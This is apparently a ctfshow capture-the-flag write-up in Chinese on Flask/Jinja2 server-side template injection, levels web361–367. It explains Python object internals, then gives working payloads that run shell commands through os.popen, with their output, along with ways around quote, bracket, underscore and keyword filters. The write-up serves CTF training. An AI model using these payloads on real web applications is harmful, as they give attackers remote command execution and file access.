SSTI漏洞原理 SSTI漏洞原理 常用方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 __class__ 查看对象所在的类__mro__ 查看继承关系和调用顺序,返回元组__base__ 返回基类__bases__ 返回基类元组__subclasses__ () 返回子类列表__init__ 调用初始化函数,可以用来跳到__globals__ __globals__ 返回函数所在的全局命名空间所定义的全局变量,返回字典__builtins__ 返回内建内建名称空间字典__dic__ 类的静态函数、类函数、普通函数、全局变量以及一些内置的属性都是放在类的__dict__ 里__getattribute__ () 实例、类、函数都具有的__getattribute__ 魔术方法。事实上,在实例化的对象进行.操作的时候(形如:a.xxx/a.xxx()) 都会自动去调用__getattribute__ 方法。因此我们同样可以直接通过这个方法来获取到实例、类、函数的属性。__getitem__ () 调用字典中的键值,其实就是调用这个魔术方法,比如a['b' ],就是a.__getitem__ ('b' )__builtins__ 内建名称空间,内建名称空间有许多名字到对象之间映射,而这些名字其实就是内建函数的名称,对象就是这些内建函数本身。即里面有很多常用的函数。__builtins__ 与__builtin__ 的区别就不放了,百度都有。__import__ 动态加载类和函数,也就是导入模块,经常用于导入os模块,__import__ ('os' ).popen('ls' ).read()]__str__ () 返回描写这个对象的字符串,可以理解成就是打印出来。 url_for flask的一个方法,可以用于得到__builtins__ ,而且url_for.__globals__ ['__builtins__' ]含有current_app get_flashed_messages flask的一个方法,可以用于得到__builtins__ ,而且url_for.__globals__ ['__builtins__' ]含有current_app lipsum flask的一个方法,可以用于得到__builtins__ ,而且lipsum.__globals__ 含有os模块:{{lipsum.__globals__ ['os' ].popen('ls' ).read()}} {{cycler.__init__ .__globals__ .os.popen('ls' ).read()}} current_app 应用上下文,一个全局变量 request 可以用于获取字符串来绕过,包括下面这些,引用一下羽师傅的。此外,同样可以获取open函数:request.__init__ .__globals__ ['__builtins__' ].open('/proc\self\fd/3' ).read() request.args.x1 get 传参 request.values.x1 所有参数 request.cookies cookies参数 request.headers 请求头参数 request.form.x1 post传参 (Content-Type :applicaation/x-www-form-urlencoded或multipart/form-data) request.data post传参 (Content-Type :a/b) request.json post传json (Content-Type : application/json) config 当前application的所有配置。此外,也可以这样{{config.__class__ .__init__ .__globals__ ['os' ].popen('ls' ).read() }}
web361-362 hint:名字就是考点 表示有个name变量
hackbar上有很多现成的模板,很多都可以直接用 payload:
1 2 3 4 5 6 7 8 9 ?name= {{g.pop.__globals__.__builtins__ ['__import__']('os' ).popen('ls' ).read()}} //app.py ?name= {{g.pop.__globals__.__builtins__ ['__import__']('os' ).popen('ls /' ).read()}} //app bin boot dev etc flag home lib lib64 media mnt opt proc root run sbin srv start.sh sys tmp usr var ?name= {{g.pop.__globals__.__builtins__ ['__import__']('os' ).popen('cat /flag' ).read()}} //ctfshow{528550d1-1770-4688-aeb3-68030ed8dc49}
web363 本题过滤了单引号和双引号 绕过过滤可以用request.args传送门 假设传入{{url_for.__globals__.__builtins__['__import__']('os').popen('ls').read()}}
,因为引号被过滤,所以无法执行,可以把['__import__']
换成[request.args.a] 而(‘os’)换成(request.args.b)(这里的a,b可以理解为自定义的变量,名字可以任意设置) 随后在后面传入a,b的值,变成{{url_for.__globals__.__builtins__[request.args.a](request.args.b).popen(request.args.c).read()}}&a=__import__&b=os&c=ls
,与原命令等效
payload:
1 2 3 4 5 6 7 8 ?name= {{url_for.__globals__.__builtins__ [request.args.a](request.args.b ).popen(request.args.c ).read()}} &a=__import__&b=os&c=ls //app.py ?name= {{url_for.__globals__.__builtins__ [request.args.a](request.args.b ).popen(request.args.c ).read()}} &a=__import__&b=os&c=ls / //app bin boot dev etc flag home lib lib64 media mnt opt proc root run sbin srv start.sh sys tmp usr var ?name= {{url_for.__globals__.__builtins__ [request.args.a](request.args.b ).popen(request.args.c ).read()}} &a=__import__&b=os&c=cat /flag //ctfshow{f2687c32-3db3-4c1c-be8b-fa160a8c3e70}
web364 本题过滤了单双引号,还过滤了args 但是我们仍然能用上题的方法,用cookies来代替args payload:
1 2 3 4 5 GET: ?name= {{url_for.__globals__.__builtins__ [request.cookies.a](request.cookies.b ).popen(request.cookies.c ).read()}} COOKIES: a=__import__;b=os;c=ls
方法二:char()绕过 用下面的payload判断chr()函数的位置
1 {{().__class__ .__bases__ [0].__subclasses__ ()[0].__init__ .__globals__ .__builtins__ .chr}}
在burpsuite里爆破
爆破完选择状态为200的 以80为例
这个爆破结果意味着__subclasses__()[80]
中含有chr的类索引,即可以使用chr()
接下来把这一串{%set+chr=[].__class__.__bases__[0].__subclasses__()[80].__init__.__globals__.__builtins__.chr%}
放到前面
原始payload是{{ config.__class__.__init__.__globals__['os'].popen('cat /flag').read() }}
,接下来要用chr()进行替换,对照ascii表
1 2 'os' 替换成chr% 2 bchr'cat /flag' 替换成chr% 2 bchr% 2 bchr% 2 bchr% 2 bchr% 2 bchr% 2 bchr% 2 bchr% 2 bchr
把替换后的payload放在后面,两段拼在一起得到最终姿势
1 ?name={%set+chr=[].__class__.__bases__[0].__subclasses__()[80].__init__.__globals__.__builtins__.chr%} {{ config.__class__.__init__.__globals__ [chr(111)%2bchr(115)].popen(chr (99 )%2 bchr(97 )%2 bchr(116 )%2 bchr(32 )%2 bchr(47 )%2 bchr(102 )%2 bchr(108 )%2 bchr(97 )%2 bchr(103 )).read() }}
web365 对比上一题多过滤了一个中括号
中括号绕过 可以用__getitem__
和pop
代替,但因为pop会破坏数组的结构,所以更推荐用__getitem__
上题的payload改一改
1 2 3 4 5 ?name={%set+chr=[].__class__.__bases__[0].__subclasses__()[80].__init__.__globals__.__builtins__.chr%} {{ config.__class__.__init__.__globals__ [chr(111)%2bchr(115)].popen(chr (99 )%2 bchr(97 )%2 bchr(116 )%2 bchr(32 )%2 bchr(47 )%2 bchr(102 )%2 bchr(108 )%2 bchr(97 )%2 bchr(103 )).read() }} 第一处的[]改为() 第二位的[0]改为__getitem__(0)或者直接删去 第三处的[80]改为.__getitem__(80) 第四处的[chr(111)%2bchr(115)]改为.__getitem__(chr(111)%2bchr(115))
微操好的payload如下
1 ?name={%set+chr=().__class__.__bases__.__getitem__(0).__subclasses__().__getitem__(80).__init__.__globals__.__builtins__.chr%} {{config.__class__.__init__.__globals__.__getitem__ (chr (111 )%2 bchr(115 )).popen(chr (99 )%2 bchr(97 )%2 bchr(116 )%2 bchr(32 )%2 bchr(47 )%2 bchr(102 )%2 bchr(108 )%2 bchr(97 )%2 bchr(103 )).read() }}
上题方法一的payload也是如此
1 2 3 4 5 GET: ?name= {{url_for.__globals__.__builtins__.__getitem__ (request.cookies.a )(request.cookies.b ).popen(request.cookies.c ).read()}} COOKIES: a=__import__;b=os;c=ls
web366 –过滤下划线、单引号、args、中括号 本题多过滤了下划线,在上面的基础上要绕过url_for和__globals__ 这里用attr方法:
1 2 3 "" |attr ("__class__" ) 相当于"" .__class__
构造payload:
1 2 ?name= {{(lipsum |attr(request.cookies.a )).os.popen(request.cookies.b ).read()}} Cookies:a=__globals__;b=cat /flag
web367 –过滤单双引号、args、中括号[]、下划线、os 测试发现过滤os继续用attr方法绕过
1 2 3 4 ?name= {{(lipsum |attr(request.cookies.a )).get(request.cookies.b ).popen(request.cookies.c ).read()}} Cookie:a=__globals__;b=os;c=cat /flag